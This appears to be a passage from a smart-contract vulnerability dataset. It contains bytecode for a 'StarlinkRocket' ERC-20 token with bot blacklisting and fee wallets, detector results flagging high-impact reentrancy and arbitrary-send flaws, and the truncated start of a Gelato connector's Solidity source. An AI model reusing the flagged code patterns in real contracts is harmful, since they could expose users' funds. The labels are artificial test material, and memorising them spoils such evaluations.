0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600e81526020017f537461726c696e6b526f636b6574000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f537461726c696e6b526f636b6574000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a819055506014600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bf2fe3777d02262eb95f2252ee099e7267d34979b8ef87312388dffa911bfd4b64736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,097
0x37a7009d424951dd5d5f155fa588d9a03c455163
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; // Gelato Data Types struct Provider { address addr; // if msg.sender == provider => self-Provider address module; // e.g. DSA Provider Module } struct Condition { address inst; // can be AddressZero for self-conditional Actions bytes data; // can be bytes32(0) for self-conditional Actions } enum Operation { Call, Delegatecall } enum DataFlow { None, In, Out, InAndOut } struct Action { address addr; bytes data; Operation operation; DataFlow dataFlow; uint256 value; bool termsOkCheck; } struct Task { Condition[] conditions; // optional Action[] actions; uint256 selfProviderGasLimit; // optional: 0 defaults to gelatoMaxGas uint256 selfProviderGasPriceCeil; // optional: 0 defaults to NO_CEIL } struct TaskReceipt { uint256 id; address userProxy; Provider provider; uint256 index; Task[] tasks; uint256 expiryDate; uint256 cycleId; // auto-filled by GelatoCore. 0 for non-cyclic/chained tasks uint256 submissionsLeft; } struct TaskSpec { address[] conditions; // Address: optional AddressZero for self-conditional actions Action[] actions; uint256 gasPriceCeil; } // Gelato Interface interface IGelatoInterface { /** * @dev API to submit a single Task. */ function submitTask( Provider calldata _provider, Task calldata _task, uint256 _expiryDate ) external; /** * @dev A Gelato Task Cycle consists of 1 or more Tasks that automatically submit * the next one, after they have been executed, where the total number of tasks can * be only be an even number */ function submitTaskCycle( Provider calldata _provider, Task[] calldata _tasks, uint256 _expiryDate, uint256 _cycles ) external; /** * @dev A Gelato Task Chain consists of 1 or more Tasks that automatically submit * the next one, after they have been executed, where the total number of tasks can * be an odd number */ function submitTaskChain( Provider calldata _provider, Task[] calldata _tasks, uint256 _expiryDate, uint256 _sumOfRequestedTaskSubmits ) external; /** * @dev Cancel multiple tasks at once */ function multiCancelTasks(TaskReceipt[] calldata _taskReceipts) external; /** * @dev Whitelist new executor, TaskSpec(s) and Module(s) in one tx */ function multiProvide( address _executor, TaskSpec[] calldata _taskSpecs, address[] calldata _modules ) external payable; /** * @dev De-Whitelist TaskSpec(s), Module(s) and withdraw funds from gelato in one tx */ function multiUnprovide( uint256 _withdrawAmount, TaskSpec[] calldata _taskSpecs, address[] calldata _modules ) external; } interface MemoryInterface { function setUint(uint _id, uint _val) external; function getUint(uint _id) external returns (uint); } contract Helpers { /** * @dev Return Memory Variable Address */ function getMemoryAddr() internal pure returns (address) { return 0x8a5419CfC711B2343c17a6ABf4B2bAFaBb06957F; // InstaMemory Address } /** * @dev Set Uint value in InstaMemory Contract. */ function setUint(uint setId, uint val) internal { if (setId != 0) MemoryInterface(getMemoryAddr()).setUint(setId, val); } /** * @dev Get Uint value from InstaMemory Contract. */ function getUint(uint getId, uint val) internal returns (uint returnVal) { returnVal = getId == 0 ? val : MemoryInterface(getMemoryAddr()).getUint(getId); } /** * @dev Connector Details */ function connectorID() public pure returns(uint _type, uint _id) { (_type, _id) = (1, 42); } } contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, "math-not-safe"); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, "sub-overflow"); } } contract GelatoHelpers is Helpers, DSMath { /** * @dev Return Gelato Core Address */ function getGelatoCoreAddr() internal pure returns (address) { return 0x1d681d76ce96E4d70a88A00EBbcfc1E47808d0b8; // Gelato Core address } /** * @dev Return Instapp DSA Provider Module Address */ function getInstadappProviderModuleAddr() internal pure returns (address) { return 0x0C25452d20cdFeEd2983fa9b9b9Cf4E81D6f2fE2; // ProviderModuleDSA Address } } contract GelatoResolver is GelatoHelpers { event LogMultiProvide(address indexed executor, TaskSpec[] indexed taskspecs, address[] indexed modules, uint256 ethToDeposit, uint256 getId, uint256 setId); event LogSubmitTask(Provider indexed provider, Task indexed task, uint256 indexed expiryDate, uint256 getId, uint256 setId); event LogSubmitTaskCycle(Provider indexed provider, Task[] indexed tasks, uint256 indexed expiryDate, uint256 getId, uint256 setId); event LogSubmitTaskChain(Provider indexed provider, Task[] indexed tasks, uint256 indexed expiryDate, uint256 getId, uint256 setId); event LogMultiUnprovide(TaskSpec[] indexed taskspecs, address[] indexed modules, uint256 ethToWithdraw, uint256 getId, uint256 setId); event LogMultiCancelTasks(TaskReceipt[] indexed taskReceipt, uint256 getId, uint256 setId); // ===== Gelato ENTRY APIs ====== /** * @dev Enables first time users to pre-fund eth, whitelist an executor & register the * ProviderModuleDSA.sol to be able to use Gelato * @param _executor address of single execot node or gelato'S decentralized execution market * @param _taskSpecs enables external providers to whitelist TaskSpecs on gelato * @param _modules address of ProviderModuleDSA * @param 